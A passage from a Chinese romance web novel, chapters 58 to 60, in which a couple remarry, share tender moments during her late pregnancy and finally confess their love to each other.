呼吸被他短暂地夺走,唇上是清晰而真实的触感,雪松味道,将她整个人环绕,几乎吞噬掉。 并不是试探,也不是表演,而是毫不犹豫,正大光明的贴近。 姜绒白皙的小脸涨得绯红,纤长的手指下意识抓紧了他的衣襟,腿有一瞬间的发软。 再次在心里骂了一句,狐狸精!果然,他还是他。 快门声很快伴随着摄影师的夸赞声响起,很显然,这一切都没有逃过摄影机的捕捉:“很好!很棒!很自然!” 亲完以后,陆沉渊很快退开了,却也没有和她拉开距离,手臂仍然搂住她腰侧,宽大的手指紧紧握住她因为那一瞬加快的心跳,而汗湿的掌心。 “不是说借位吗?”她红着脸小声向他抗议。 陆沉渊看着她,眼神深得不像是在拍照。 “我不太会。”他说,语气明明平静,却能轻易让人心跳失序。 摄影师似乎也听到了他们的对话,愣了一秒,随即笑出声:“没关系没关系,这样更加好。” 快门声再次响起,摄影师调整完光线,最后一个pose,让他们自由走位。 “可以不用看镜头。”摄影师说,“你们就做你们俩平时,在家里会做的事情就好。” 姜绒还没缓过来,脸上发红,下意识回头看陆沉渊。 他点了点头,明显有点不适应这种“没有指令”的状态。 知道陆沉渊现在肯定比自己还要茫然,于是她牵着他的手,慢慢走到了,棚内天窗投下的,那片最自然柔和的阳光里。 “你就站在我后面。”她小声向他说,“就像刚才那样。” 陆沉渊照做了,骨节修长的手,落在她腰侧,很轻,却稳。 姜绒刚要继续开口,指导他怎么做。 陆沉渊高大的身影,却忽然低了下去,他没有去看镜头,而是在看她隆起的肚子。 姜绒怔了一下。 下一秒,他的动作几乎是本能的,单膝微微屈下,俯身,在她隆起的腹部前停住了。 像是在确认那里存在的小小生命与心跳。 然后,他低下头,隔着她白色的礼服,轻轻地吻了下去。 很轻的一下,没有声音,却让整个空间都忽然安静了下来。 姜绒彻底愣住了,她低头看向陆沉渊。 灯光从高处落下来,勾出他低垂的眉眼和干净的侧脸轮廓。 那一刻,他身上没有任何锋芒,连一贯的冷感都被收得干干净净,只剩下温柔。 摄影师几乎忘记了按快门。 而他没有立刻站起来,只是用额头轻轻抵在她的肚子上,停了一秒, 然后,他低声说了一句:“等你出来。” “我会学着,当一个好一点的爸爸。” 第58章 第五十八章 复婚领证 一周后, 到了领证的日子,姜绒和陆沉渊再一次,一起走进了民政局。 同一个窗口, 同一个工作人员。 对方抬头看到他们时,明显愣了一下, 目光在他们脸上来回确认:“……你们俩是来?” “复婚。”陆沉渊平静地说。 工作人员低头翻了一下系统,又抬头看他们,忍不住笑了:“我就说你们俩看着根本不像真离, 迟早还要回来的。” “这次确定好了?” 这名工作人员的话仍然不少, 令姜绒也有些忍俊不禁, 她想起和陆沉渊假结婚又离婚那次。 那时候她对对方没有半点感情, 在他面前演了两出戏。一出是新婚时的亲密戏, 一出是离婚时的哭戏。 而现在, 他们俩再一次站在这里, 心里的答案,却都清晰无比。 姜绒和陆沉渊了的答案,几乎是异口同声说了出来:“确定。” 对方朝他们笑了一下,敲章的时候,动作明显比上次利索多了, 还不忘补上两句,早就想说的吉利话:“恭喜啊!希望下次见你们, 是来办孩子户口。” 姜绒耳根一热。 陆沉渊表情却很淡定:“很快。” 她转头瞪了他一眼。他低头, 对她笑了一下。 然而这一刻,她却觉得, 心里沉甸甸的,因为这件事情代表着,他们是真的要相伴一生, 一路陪伴着对方,坚定不移的走下去了。 证递到她手里的时候,姜绒下意识低头看了一眼。 红色的封皮,边角锋利。她翻开,目光却在下一秒停住了。 她和陆沉渊的合作,不再是上一次那种——表情僵硬、被技术性“拉到一起”的合成照了。 这一次,是他们俩自己拍的。 姜绒记得那一刻,拍完孕妇照以后,摄影师问她们要不要把结婚登记照顺便拍了,于是她同意了下来。 就发生在那一秒,她刚整理好头发,他站在她身侧,没有被要求靠近,却自然地抬手揽住了她的肩。她偏头笑了一下,他低头正看着她,表情没有收住。 快门落下。 那一瞬间,被完整地留下来了,照片里的她,眉眼是松的。照片里的他,没有任何防备,忘记了一切镜头的存在。 姜绒忽然意识到——原来一张照片,真的可以分辨两个人是不是被迫在一起,那是再精湛的演技,也掩盖不了的。 她的指尖在那张照片上停了一下,心口慢慢热起来。 “要不要去仪式堂?”工作人员问她们追问了一句。 他们对视了一眼。 “去。”她说。 他们早有准备。 民政局的仪式堂不大,却很安静,阳光从侧面的窗户落进来,空气里有一点淡淡的木香,正好洒在宣誓台上,蒙上了一层梦幻而神圣的光影。 他们就站在彼此对面。 仪式堂的工作人员,念流程的时候,姜绒一直有点走神,直到那一句——“请男方宣誓”,清晰利落的落到了她耳朵里。 姜绒抬头望向陆沉渊,白皙的耳根在发烫,这一刻紧张感弥漫上她的心头,目光对上他黑眸的瞬间,她竟然比人生中的任何一个时刻,都要紧张。 陆沉渊并没有低头看誓词卡,一双深邃而炙热的眸子只是看着她。 很久,像是在确认什么。 然后,他缓缓开口,声音低沉,语气很轻但重量很足:“我不太会说话。” 他说的很坦诚,没有一丝敷衍:“我也不是一个,情绪表达很完整的人。” 姜绒的心忽然揪了一下。 “但从今天开始,我会把你,放在所有选择之前。” 他停了一秒,声音低了些,却更稳,甚至多了一丝哽咽: “姜绒,从今以后,你不需要变得勇敢。因为你害怕的时候,我都在。” “你可以慢慢走,而我会跟在你身后,往后余生,都是如此。” 他说到这里,喉结轻轻动了一下:“我不能保证,永远正确。但我能保证,永远站在你这边。” 陆沉渊说的话,明明很简单,没有华丽的词,却像是一块,直接砸落在姜绒心上的石头。 她的眼眶,忽然就红了。 并不是因为这段话多么完美,而是因为——这是一个,从不轻易许诺的人,把自己能给的一切,都摊开了告诉她。 轮到姜绒交换誓言时,她声音很轻,没有了平常那副开朗过头,天不怕地不怕的模样,语气里反倒多了紧张: “陆沉渊,我也不完美。”她说,“我有很多怕的东西。” 然后她仰头看着他,笑了一下:“但我愿意,让你牵着我。” 话音落下的时候,她看见他眼底明显晃了一下,然后他伸出宽大的手掌,一把牵住了她纤长的手指,将她牢牢的抱进了怀中。 宣誓结束。 陆沉渊低头,伸出骨节修长的手,替认真戴上了他早已准备好的高级定制戒指,戴上的那一刻,她低头,看着纤长无名指上的那一点光。 她兀然清楚的意识到,这一次,并不是开始一段关系。而是她和陆沉渊,终于走进了一个确定的未来。 再抬头时,他已经伸手,再次把她轻轻揽进怀里。 停留在陆沉渊宽阔的怀里,倚靠在心跳沉稳的胸口,她听见他低低的说了一句: “这一次,不会再走散了。” 回到别墅的时候,已经是傍晚了,姜绒在低头整理,认真放好这两本崭新的结婚证。 她的头发随意编成了盘发,发尾收得松,几缕细碎的红发从鬓边落下来,贴着她的脸颊。 领证前她特地准备好在民政局拍照用的,那层白色的头纱,还没有从她头上取下。 薄得几乎看不见,却恰好覆在她肩后,随着她的动作轻轻晃。她低头时,后颈的线条露出来,细而白, 光线从走廊的窗户外照进来,落在她身上,给她整个人笼上了一层浅浅的金色光晕。 陆沉渊心内微微动了一下,事实上自他们重逢以来,彼此走近之后,他越发感觉到了,姜绒的美从来不是锋利的,也从来不是他想象中那么恣意张狂。 而是让人,忍不住靠近,并为之逐渐沉溺,无法自拔的。 姜绒显然没有感觉到他的注视,低头时,后颈的线条露出来,细而白,盘起的发,让那一截皮肤毫无防备。 他喉结动了一下。那些理性、克制、场合分寸,在这一秒,突然就断了弦,全都变得无关紧要。 陆沉渊伸手,骨节宽大的有力手掌,轻轻握住了她纤细的手腕。 姜绒抬头望向他,愣了一下,还没反应过来,就被他带到了身前,坐在了他膝上。 “你……”她抬头看他,红着脸,眼睛里还带着刚刚宣誓的湿意,没明白他这是突然要做什么。 陆沉渊的动作却很慢,没有给她退开的空间。 那层洁白的头纱就在他们之间。 他低头,隔着那层白色的纱,将吻落了下来。 他吻得很轻,却落得极准,像是终于允许自己,去碰触这无可替代的一刻。 姜绒白皙的小脸瞬间绯红,呼吸乱了一下,明明是很轻很轻的吻,并没那么热烈,却令她比任何一刻,都要觉得心动。 吻毕,他停在她唇前,额头贴着她的额头,低声在她耳边说了一句,只有她能听见的话:“现在才像真的。” 然后,他又低头,再吻了一次,仿佛是在反复确认她的存在。 不急、不掠夺。 只是把她,牢牢地,安稳的留在自己的世界里。 姜绒耳根烫的更加厉害,却没有制止他的任何动作,任由这一刻的心动,将自己吞噬…… ——— 然而,到了晚餐时间,因为孕晚期到来逐渐加重的反应,姜绒胃里开始翻涌得厉害,什么都吃不下。 苏女士早早就提醒过她了,前期别嘚瑟自己孕期反应不大,因为当年她怀她和她哥,都是一样的体质,孕早期反而没什么,吐得少,精神好,但是孕晚期就开始变化了。 恶心、呕吐,不仅吃不下什么东西,晚上躺着还会反酸,烧心,腰酸背痛也是根本抑制不住的,胎动厉害的时候,更是一整晚都睡不着觉。 后面三个月,硬是把本来,整颗心一直放在肚子里的姜新鸣,给折磨得够呛。 姜绒靠在沙发上,脸色有点白,看着面前家里私厨,端出来的一道道食材高端,精致又营养餐点,不仅没胃口,甚至还想吐。 “想吃什么?”陆沉渊很快发现了她的异样,高大的身影,蹲在她面前,温热的手指,抚过她手背,握着她手问。 她在脑海里想了半天,自己目前暂时能接受吃下去的东西是什么,然后小声说了一句:“糖拌西红柿吧。” “就普通的那种?”陆沉渊问。” 她摇头,又点头:“要带沙的。” 说完她自己都愣了一下,现在天寒地冻的,凛川市早就进入冬天了,甚至早上还飘了一层细细的雪花。 “算了。”她叹气,“现在是冬天,太反季节了。” 陆沉渊却没说话,只是站起身,拿起手机和外套,往外面走去。 “你去哪?”她一愣。 “很快回来。” 他离开的时间,比她想象得久。 等了好几个小时,别墅的门再次被推开时,已是深夜,她靠在客厅沙发上的壁炉前,盖着羊毛毯昏昏欲睡了。 她听到响动,睁开了眼睛,陆沉渊高大的身影走了进来,手里还提着一个保温箱。 “起来,好吃的到了。”他说。 姜绒揉了揉眼睛,迷迷糊糊坐好,看着他从保温箱里面拿出了又大又红,长得极好,散发着果香的西红柿。 虽然数量不多,但个个新鲜,表皮甚至还带着新鲜采摘的露珠,以及一点细土。 “你……从哪里弄来的?这么快。”她怔住了,向他惊讶的问道。 “紧急联系了在智利的农场。”说得很轻,“走的私人飞机紧急货运专线到的。” 厨房里,陆沉渊已经利落的脱下了外套,解下了腕表,就开始切起了西红柿。 他动作虽然很快,但刀工显然不怎么样,形状歪歪扭扭,大小不一,在这方面还是一如既往的没天赋。 姜绒坐在岛台前,却觉得,怎么看他做饭,都看不够。 切好以后,他开始撒糖,糖撒得并不算均匀,但好歹装盘以后,很像那么回事。 盘子端到她面前时,他明显有点不自在:“将就。” 姜绒却笑了,她接过叉子,端起那碗糖拌西红柿,尝了一口。 酸甜的味道在舌尖很快散开来,口感沙沙的,新鲜的汁水下肚以后,胃里那股不适,慢慢退了下去。 她忽然觉得,很甜,比她吃过的任何一次西红柿,都要甜,都要好吃。 并不是因为糖,也不是因为是产自于智利农场的顶级食材。 而是因为,陆沉渊这个人,真的把她随口的一句话,提的一个小要求,就当成了需要立刻去完成的事。 她抬头看他。 灯光下,他站在厨房门口,袖子挽起,神情安静。 这一刻,她忽然意识到——有些爱,根本不需要他用多么华丽的语言,来表达,来说出口。 它就是一盘,会切得歪歪扭扭,却仍然稳稳地,端到你面前的西红柿。 姜绒舒服的坐回了沙发上,手里还不忘端着那盘西红柿,抬头看向陆沉渊:“你不吃吗?” 他高大的身影走过去,在她身边坐下,沙发轻轻陷了一下。 “不用了,专门给你做的。”陆沉渊说。 她没再追问,只是把那碗往他这边推了推:“尝一口嘛。” 他低头,看着那切得并不漂亮的西红柿,忽然有点不自在,却还是就着她的勺子,尝了一口。 酸甜的味道在口腔里散开,很普通,却让他胸腔里某些地方,隐隐的生根发芽,有滋有味的弥漫了开来。 “好吃吧?”姜绒问。 他点头。 “你现在厨艺越来越好了,我很喜欢。”姜绒朝他狡黠的笑了一下,语气却像是在撒娇。 放下防备以后,她越来越像一只慵懒的,会对他露出柔软肚皮,在他面前打滚的小猫。 “嗯”陆沉渊朝她笑了一下,毫不犹豫的收下了这句赞美。 姜绒这才满意,坐在沙发上,抱着那碗糖拌西红柿,吃得很慢,随口说起:“我小时候啊,最喜欢夏天。” 陆沉渊偏头看她,她说起这些小时候的时候,整个人都会松下来。 “暑假一到,我爸妈就把我丢到爷爷奶奶那边。”她笑了笑,“乡下有一栋老别墅,后面就是小溪。” 她一边说,一边用勺子拨了拨碗里的西红柿: “我每天什么都不干,就在溪边跑。捞鱼,晒太阳,鞋子湿了也不管。” 她说得很随意:“冰镇西红柿就是放在小溪里。”她补了一句,“顺着水流往下,一会儿又被我捞上来。” “凉得牙都酸了,但特别甜!” 她抬头看他,眼睛亮亮的:“那时候我觉得,夏天就该是这样的。” 陆沉渊一直没有打断,他听得很认真,认真到,仿佛那条溪水真的在他眼前流过。 他能想象她光着脚踩在水里的样子,笑声很响,完全不担心被人提醒注意形象。 那是一种,他从未触碰过的自由。 过了好一会儿,他才开口。 “我小时候的暑假,”他说,“基本都在家里。” 她的动作顿了一下。 “家里会安排好时间表。”他继续,语气平稳,“上午看书,下午上课,晚上刷题。” “家庭教师每天都在。假期和学期,没有区别,家里和学校也是。” 他说这些的时候,没有抱怨,像是在陈述一个已经习惯的事实。 姜绒却忽然觉得胸口有点紧。 “那你……有没有出去玩过?”她问。 陆沉渊想了想,摇头:“没有那种机会,也没人觉得有必要。” 她低下头,舀了一勺西红柿,再次递到他嘴边:“那你现在补上。” 他愣了一下,张口吃下,酸甜的味道再次在舌尖散开,伴着她的微笑一起。 陆沉渊忽然意识到,有些夏天,错过了。但有些,可以从现在开始。 他指腹轻轻抚上她唇角,看着她,轻声说:“那你以后,可以把你的小时候,慢慢讲给我听。” 姜绒笑了。 “好啊。”她说,“讲到你觉得,这些记忆,也像是你自己的。” 陆沉渊不自觉的也跟着她笑了一下。 在心里明白了过来,原来“拥有”,并不一定要从童年开始。而是有人愿意,把她的世界,一点一点,分给你。 电视的声音被姜绒调小了一些,壁炉里的火光仍然很暖。 过了一会儿,她似乎是有些困了,忽然靠了过来,把头枕在他肩上,重量很轻,却让他整个人,下意识的放松下来。 “陆沉渊。”她低声呢喃,声音有些迷迷糊糊的:“你有没有发现,你现在回家,比以前早多了。” 他怔了一下,并没有否认。 “以前,我总觉得,家对我来说只是一个功能性空间,睡觉、换衣、处理完事务后停靠的地方,仅此而已。”他说,“现在不一样。” 她没说话,只是伸手,轻轻握住了他的手。 “你现在在建一个。”她说,把他的手掌,放在了她胸口心脏的位置比划了几下:“不是房子,是家的地方。 那一瞬间,陆沉渊的呼吸明显乱了一拍,胸腔像是被什么东西轻轻撞了一下,不疼,却让人无法忽视。 他没有立刻回应,只是垂眸看着她。 看着她这样毫无防备地,把“家”这个概念,直接交到他手里。 在爱这条路上,他历来走得很慢,很慢,慢到几乎从未想过,终点会有人等他。 可姜绒却一直在这里。 没有催促,没有拉拽,只是陪他站在原地,把他心里的灯一盏一盏点亮。 而陆沉渊眼眶发热,轻轻握住了她纤长温热的手指,紧紧贴着自己。 无比清晰地感觉到了,家和家人,这两个词,到底意味着什么。 也第一次开始害怕,失去这个“家”,他会疼的…… 第59章 第五十九章 爱从来不是轰轰烈烈…… 凌晨三点, 姜绒是被腰疼疼醒的。 并不是多么尖锐的疼痛,但是那种持续了一整晚、从尾椎一路漫到后腰的酸胀感,形容不出来的难受。 她翻了个身, 却没翻动。 孕晚期的身体已经不再听话,每一个动作都需要提前预判, 而且笨重了许多。 她轻轻吸了一口气,转过头去,陆沉渊还在睡梦中, 有力的胳膊却一直放在她腰间, 将她整个人都牢牢护住。 整张轮廓好看的脸, 在月色更显深邃, 只是好看的墨眉轻轻蹙起, 似乎在梦中也有什么隐隐的担忧。 她很清楚, 这段时间, 他为了更好的照顾自己,很多事情都是亲力亲为,公司那边更是能不去就不去了,全力陪伴待产的她。 姜绒忍不住伸出纤细的手指,轻轻抚过他眉心, 她忍不住想起,自己刚搬过来和他住的时候, 还总是做一些被蛇缠住的奇怪噩梦。 那时总觉得他整个人看起来阴湿湿的, 琢磨不透,又没什么情感的样子。 而现在, 深深的了解他以后,她越发明白了,一切占有欲的背后, 只不过是因为他严重缺乏安全感罢了。 这样想着,她忍不住扬起唇角笑了一下,放下手后,她小心翼翼的移开了陆沉渊的胳膊,然后自己强撑着,打算从床上坐起来。 然而下一秒,陆沉渊却已经醒了,高大的身影甚至比她先一步坐了起来。 “别动。”陆沉渊的声音还带着刚醒的沙哑,却十分清醒。 他骨节修长的手指,按亮了床头灯,暖黄的光瞬间落了下来,但他第一时间不是看她的脸,而是看她的姿势——腰部弧度、腿部角度、以及枕头有没有偏移。 “是不是这里不舒服?”他问,宽大的掌心已经移到了她后腰的位置,指腹精准点了点她感到酸疼的位置。 姜绒点了点头,不得不佩服他的推理能力,现在他练就的本事实在太强了,竟然比她自己还要了解自己的身体。 “从12点开始就这样。”她有点无奈地笑了一下,“可能是昨天路走多了。” 陆沉渊没有接话,只是起身,把她慢慢扶坐起来,在她身后垫了两个不同高度的靠枕,又把她的腿挪到一个更放松的角度。 他的动作很轻,却极其精准,像是已经在脑海里反复推演过无数次。 姜绒靠稳后,呼吸才慢慢顺下来。 “好点了吗?”他问。 “嗯。”她靠着他,“但还是有点酸。” 他伸手,宽大掌心覆在她后腰,温度很暖,指腹替她轻轻揉了揉,力道并不大,却恰好能让那片紧绷的肌肉慢慢松下来。 她舒服了很多,唇角止不住的上扬,但过了一会儿,才反应了过来,目光触及他眼下小片乌青,向他问出了口:“你怎么醒得这么快?” “没睡死。”陆沉渊说。 事实上,他已经连续几晚睡得很浅了。 她夜里翻身、呼吸变重、脚抽筋、甚至只是轻轻叹一口气,任何微小的动静,他都会醒,只是从来不说。 “那你陪我熬夜,明早该变熊猫啦?”姜绒很清楚,他必然是担心自己,才睡眠浅,内心的暖意完全无法用语言来形容,却忍不住调侃了他一句。 听到这句话,陆沉渊唇角的弧度有一瞬的上扬,虽然微不可察,却还是被她精准捕捉到了。 “那也有你陪我一起变。”他沉声回答她,眸色却有些热,又似是为了惩罚她一般,为她按摩的温热指腹,轻轻加大了一下力度。 姜绒很快叫出了声来,脸上热的更加厉害,白皙的小脸绯红,朝他嗔告:“喂!” “现在看来你适应得很好,对我已经没有任何反应了。”陆沉渊声音却更加低哑了一些,在她耳畔落下一句话。 她红着耳朵,很清楚陆沉渊说的是什么,是在说她的hsdd在他面前,彻彻底底的消失了,完全不排斥,和他的任何身体接触。 “从一开始就没有好嘛!”她伸手推了一把他散发着雪松味道的宽阔胸膛,小声嗔怒了一句。 事实上,姜绒比任何人都清楚,从她趁着酒劲接近了他那晚开始,她就不排斥和陆沉渊的亲密接触,甚至为此有些上瘾。 只是这件事情,她埋在心里,从未告诉过他罢了。 但陆沉渊显然没有听清楚,她嘟囔了一句什么话,俯身向她追问:“你说什么?” “没什么!”她涨红着脸,用身上的被子盖在头上,但很快就被他骨节修长的手指,一把掀了下来,督促她按摩完,抓紧时间休息、睡觉。 孕晚期以后,姜绒最怕的另一件事情——是洗头。 她一头长发,洗起来不仅麻烦、累,弯腰会喘,抬手久了肩膀发酸,吹头发的时候,热风一吹,人就容易头晕。 而且她本身就不习惯和别人的肢体接触,所以也不喜欢由佣人帮忙洗。 所以,姜绒通常会拖,能不洗,就不洗。 那天下午,她坐在床上,一头酒红色的头发披着,发尾有点乱,整个人看起来懒懒的。 陆沉渊高大的身影,从书房出来,走到客厅里,摘下鼻梁上的金丝边镜框,看了她一眼:“今天洗过头了?” 她摇了摇头:“有点不想动。” 他却说了句等一下,然后转身就进了浴室,姜绒有点不明白,他葫芦里卖的什么药。 再出来的时候,陆沉渊手里多了个小凳子,还有一条干净的毛巾,朝她说:“我帮你洗。” 姜绒瞪大一双鹿眼,愣了一下:“你会吗?” “总要试一试才知道。”陆沉渊说得很平静。 这句让她笑了出来,反正是个好时机,不洗白不洗,她也不想客气了,于是在床上躺了下去,把一头浓密而柔顺的长发,垂在了床沿。 陆沉渊又接来了温度刚刚好的水后,摆好小凳子后,拿来了洗发水、水勺、梳子,和吹风机以后,才在床沿坐了下来。 “如果我动作让你不舒服,你就马上说。”他没忘记提醒她。 躺在床头的姜绒,朝他眨了几下眼睛:“好” 于是陆沉渊把她的长发,浸入水里后,用水勺将温水缓缓淋到了她的发丝上,动作有点生疏,却很认真。 水落在自己头发上的时候,姜绒下意识缩了一下。 “烫吗?”他立刻问。 “不烫。”她赶忙说道,“刚好。” 陆沉渊这才继续,清水洗的差不多了以后,再将洗发水倒在宽大掌心里,搓开以后,慢慢覆上她柔软、顺滑的发丝上。 他骨节修长的手指,穿过她发丝揉捏、按摩,指腹温热,动作很轻,很克制,像是怕弄疼她,虽然并不熟练,却没有一丝敷衍。 姜绒闭上眼,肩膀慢慢放松下来,体会到了久违的舒服感:“其实你不用这么小心。”她忍不住说,“我又不是什么易碎的玻璃。” “你现在可比玻璃重要。”他却说。 这句话说得太自然,令她嘴角立刻上扬了起来。 午后的阳光,穿过落地窗和门外的花园、草坪,落在她们身上,姜绒仰头看着陆沉渊。 从她这个视角看去,能看到他紧绷的脸部线条,形状好看的唇线,冒出点点青色胡茬的下巴,整个人都晕染在金色的夕阳里,变得暖融融的,很温柔却也很吸引人。 一些细腻绵密的泡泡在她发间起来,洗发水的味道散发开来,清甜里夹着一点水果香,像是刚被剥开的蜜桃。 整个空间兀然都变得暧昧了起来,一个梦幻的泡泡,亮着五彩的光,从他指尖跳了起来,很快划过空中。 姜绒突然想逗一逗他,于是伸出纤长的手指,戳破了那个泡泡,又将自己指腹沾到的那点泡沫,往他脸上抹去。 然而,令她完全没有想到的事情发生了,她忘记了自己现在的处境,很快被陆沉渊出手制裁了。 对方轻叹了一下,似乎在感叹她的胆大包天。 然后高大的身影,没有犹豫,很快俯身欺压了下来,径直吻上了她的唇瓣。 “唔……”姜绒白皙的小脸瞬间涨得通红,瞳孔放大,纤长指尖攥紧他衣襟,心跳根本不受控制,乱到了极点。 雪松的味道席卷了她,他的吻其实非常温柔,但偏偏这样的姿势,和平时都不一样,令她浑身都开始发热,腿软了起来。 空气里的蜜桃甜味还未消散,她的头发仍然湿着,他温热指腹仍留在她发间,姜绒却迷了迷眼睛,只希望这一刻,永远停留,永不消失。 这次洗头的时间,比她预想中还要长得多。 等洗完以后,这件困扰她的小事,也瞬间消散了,她解锁了给自己洗头,洗得最好的人。 而望向镜子里,一脸专心认真,拿着吹风机,为她从湿漉漉的发尾开始,细心吹起的陆沉渊。 她忽然明白了一件事——原来爱,从来不是轰轰烈烈地证明。 而是有人,愿意蹲下来,为你做饭、替你洗头、吹干、按摩、甘愿为你做生活里无数的小事情。 第二天早上,陆沉渊起了个大早,高大的身影坐在餐桌前,一边看平板,一边画草图。 她醒来的时候,正好看到他一脸聚精会神,当她一边啃着苹果,一边好奇的凑过去看他屏幕,才发现那上面并不是什么陆氏集团的合同,而是一张结构图。 更准确地说,是一整套孕晚期床上支撑系统。 他已经把她昨晚不舒服的几个点一一在图上标注了出来:腰椎承重、侧卧时腹部悬空、腿部血液回流受阻。 “哇,太厉害了吧你,不愧是理科学霸啊!连这种东西都会自己设计?”作为学渣,姜绒看到那张图只能目瞪口呆的,发出了感叹声。 陆沉渊却轻轻推开她,不让她捣乱,拿出手机,开始打起了电话,是打给工程师的,用的仍然是一贯冷静到近乎苛刻的语气: “我要的不是普通的护理床。我需要它在翻身时,能够自动调整支撑角度!” “材质必须透气,压力点分散。曲线就按她现在的身体数据来重新建模。” 对方明显愣了一下:“陆总,这种私人定制,需要时间测试——” “你最多有二十四小时。”他说,“不够的话,我再给你一支团队。” 电话挂断后,他又紧锣密鼓的联系了骨科医生、产科医生、物理治疗师。 但并不是咨询,而是确认。 他把所有可能造成她不适的变量,一项一项排除,然后一项一项的追踪和优化。 于是在第二天午后,姜绒就看到了那张床,效率快到她不敢想象,也再一次验证了有钱能使鬼推磨这件事。 当专业的安装人员离开后,整装床都被悄无声息地改造过了。 床垫不再是单一平面,而是有极细微的分区起伏;侧边多了一段可调节的支撑弧,连她常靠的那一侧,都多了一层隐形托力。 甚至还可以使用拥有极强细分程度的电动遥控器,来进行遥控。 姜绒被陆沉渊扶着坐上去的一瞬间,整个人都明显愣住了:“不是……这也太夸张了吧。” “试试侧躺。”他轻声提醒她。 姜绒依言躺下,这次腰部被稳稳托住了,腹部完全没有下坠感,腿部自然放松,简直比她睡过的任何一张床,都要舒服无数倍,根本就是云泥之别。 “太舒服了,陆沉渊,你简直就是天才吧!”她舒服的在床上侧了好几下,眼睛亮得像藏了星星,望着他高大的身影感叹。 陆沉渊却在床前微微蹲下身来,骨节修长的手指,轻轻抚了抚她白皙的小脸,沉声提醒她道:“我怎么觉得,你对我直呼其名,总归不太礼貌呢?” “咳……哦?是吗?”她假装没听明白,红着脸装傻,她自然明白,对方想要听到的称呼是什么。 毕竟她们俩领证结婚也有一段时间了。 他没有再逼她,只是笑着摇了摇头,在她床边坐了下来。 姜绒却伸出纤长手指,轻轻抓住了他的衣角,朝他缓缓问出了口:“你不觉得累吗?” 孕晚期这些天来,他几乎把“照顾她”这件事,都拆解成了无数个可执行的细节。 她夜里腿抽筋,他会在她睡前替她做拉伸,力道轻到不能再轻。 她食欲忽上忽下,他让营养师把餐单改成少量多次,每一餐都不重复。 她白天容易犯困,他就把在家办公的时间调成碎片化,能在她醒来时,立刻陪她去花园里晒一会儿太阳。 而她受孕激素影响,情绪偶尔低落,他不会说太多话来安慰,只会静静陪她坐着,让出肩膀给她靠。 陆沉渊想了想,没有说谎,回答了她一个字:“累。” 却又转头看向她,炙热黑眸锁住她,认真补了一句:“但值得。” 这不是他惯常会说的话,却很真,出自于他肺腑。 姜绒忽然觉得眼眶发热:“陆沉渊。” “嗯?”他看向她。 “你以前……有人这样照顾过你吗?”她接着问。 陆沉渊停了一下,缓缓摇了摇头:“没有。” “那你怎么自己就会了?”姜绒继续向他追问。 陆沉渊却低头看她,目光很深,却也很稳,很坚定:因为,我有在学,学会怎么不让你受苦。” 她眼眶热的更加厉害,在这一刻,更加清晰的意识到,他从来不是天生就会爱的人,这一点她高中时期对他的讨厌,就已经提醒了自己。 但他却用全部的理性、全部的资源、全部的耐心,为她搭建了一个,充满了爱、能安心迎接新生命的世界。 在这一刻,一向勇敢的姜绒,突然开始害怕。 她害怕那一天的到来,如果自己进了产房,如果没有走出来…… 会不会充满遗憾与后悔?后悔自己没有对他表白,没有将自己全部的爱,以及藏在心里话,全部告诉他呢? 于是她缓缓坐起身来,在窗外金色阳光的暖影里,轻声叫了一下,他的名字:“陆沉渊……”《 》 THE END 第60章 第六十章 从此做你遮风挡雨的…… 金色阳光的余晖来, 陆沉渊转头看向她,一双黑眸里倒映出她的影子,整个人温柔得, 像画里才会出现的人。 他骨节修长的宽大手掌,轻轻握住了姜绒白皙纤长的手指:“嗯, 怎么啦?突然叫我的名字。” 那一瞬间,她忽然觉得喉咙发紧,可她没有再退缩, 纵使耳根发热。纵使活到现在, 她从未主动向任何一个人, 开口表白过。 “我有件事, 一直没有告诉你。”姜绒抬头看着他, 缓缓说道。 陆沉渊的目光, 明显沉下来, 多了一丝紧张,变得严肃和专注:“你说。” “我以前以为,这辈子让我爱上一个男人,是一件很困难,甚至不可能的事。” “因为我知道, 纵使外表再大大咧咧,我从来没有克服过内心的恐惧。” 她望着他眼睛, 低声说, 语气认真而诚恳:“所以我一直很小心。小心的守着自己那颗脆弱的心,甚至对于爱情这件事, 没有抱有多少期待。” “直到和你协议结婚,直到那个雪夜,直到每一步走近你, 我才发现,我有走出一切阴影与恐惧的能力。而这份勇气,是你赐予我的。” 陆沉渊显然没有预料到,她会突然说出这样一番话来,一双黑眸变得深沉,紧紧锁住她。 “我知道,比失去更可怕的,是没来得及说。” 姜绒抬头看他,一双鹿眼亮得惊人,径直把埋藏在心里的那几个字说出了口:“陆沉渊,我爱你。” 没有铺垫,没有试探,而是直接、完整地,直接的说出了口。 陆沉渊瞳孔放大了一下,他是头一次听姜绒对他说出这样表白的话来,宽大的手掌收紧,牢牢握住她。 “我要你知道,我爱你,不是因为孩子,不是因为我们走到了这一步,而是因为你。” 她的声音有点颤抖,却没有后悔。 “如果我进了产房,真的有万一……”她顿了顿,几乎是咬着字说,“我不想你不知道,我有多认真地爱过你……” 空气静了一瞬。 姜绒整个身体都在轻轻发抖,于她而言,生产确实是这样一种,如此空白陌生,充满未知风险,光令她想起来就觉得恐惧的存在。 下一秒,她被陆沉渊重重抱进了怀里,并不是孕晚期以来,她习惯的轻柔,而是带着一点失控的力道。 他的手臂收得很紧,却在她腰侧又及时放轻。 “你不能这样说。”陆沉渊的声音十分低哑,“你不能用这种方式,替我预设失去你。这件事,没有万一!” 他低下头,额头抵着她的额头,说得很慢:“我不是不懂爱。我是一直以来,从没被允许拥有过。” “但自从你出现之后,我没有一天,是在理性里活着的。无论是高中的时候,还是现在。 “是你教会了我一切。” 陆沉渊的呼吸离她很近,一双炙热的黑眸,星光点点,声音低沉至极:“姜绒,我也爱你。” 这一次,他的话语里没有停顿,没有掩饰,也没有犹豫,不是为了回应她的话,而是发自内心,彻彻底底的承认。 她的眼泪,终于落下来。 他抬手,捧住她的脸,低头深深吻上她的唇。像是在确认——他们此刻,就真实地存在于彼此的世界里,并将永不离开。 窗外阳光落在两人交叠的影子上。 这一刻,没有任何恐惧,只有被宣之于口的爱。 而姜绒也第一次确信,在即将到来的那一天,无论发生了什么,她都不会是一个人。 ———— 临盆前,孕晚期的时间,变得很奇怪。 白天似乎很长,夜晚却短得不像话,姜绒的身体,一天比一天沉,走几步就会喘,坐久了腰背发酸,夜里翻身要提前很久在心里预演。 有时候,她会坐在窗前发呆。 窗外是冬末的天色,灰白、安静,像一切都在为某个即将到来的节点屏住呼吸。 她的手常常下意识地落在腹部,那里偶尔会轻轻顶一下,像是在提醒她——这里还有一个人存在。 可也正因为如此,她开始在夜里频繁地醒来。 并不是疼,而是心跳忽然变快。 